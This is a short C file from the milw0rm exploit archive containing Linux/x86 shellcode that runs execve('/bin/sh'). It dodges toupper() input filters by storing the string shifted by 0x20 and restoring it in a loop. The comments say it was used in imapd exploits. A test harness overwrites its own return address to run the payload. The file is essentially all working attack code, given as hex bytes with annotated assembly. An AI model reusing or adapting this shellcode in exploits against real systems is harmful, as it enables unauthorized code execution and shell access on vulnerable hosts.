/*
* Linux/x86
*
* toupper() evasion, standard execve() /bin/sh (used eg. in various
* imapd exploits). Goes through a loop adding 0x20 to the
* (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
*/
#include <stdio.h>
char c0de[] =
/* main: */
"\xeb\x29" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc9" /* subl %ecx, %ecx */
"\x89\xf3" /* movl %esi, %ebx */
"\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */
"\xb1\x07" /* movb $0x07, %cl */
/* loopz: */
"\x80\x03\x20" /* addb $0x20, (%ebx) */
"\x43" /* incl %ebx */
"\xe0\xfa" /* loopne loopz */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xd2\xff\xff\xff" /* call start */
"\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(c0de));
(*ret) = (int)c0de;
}
// milw0rm.com [2000-08-08]
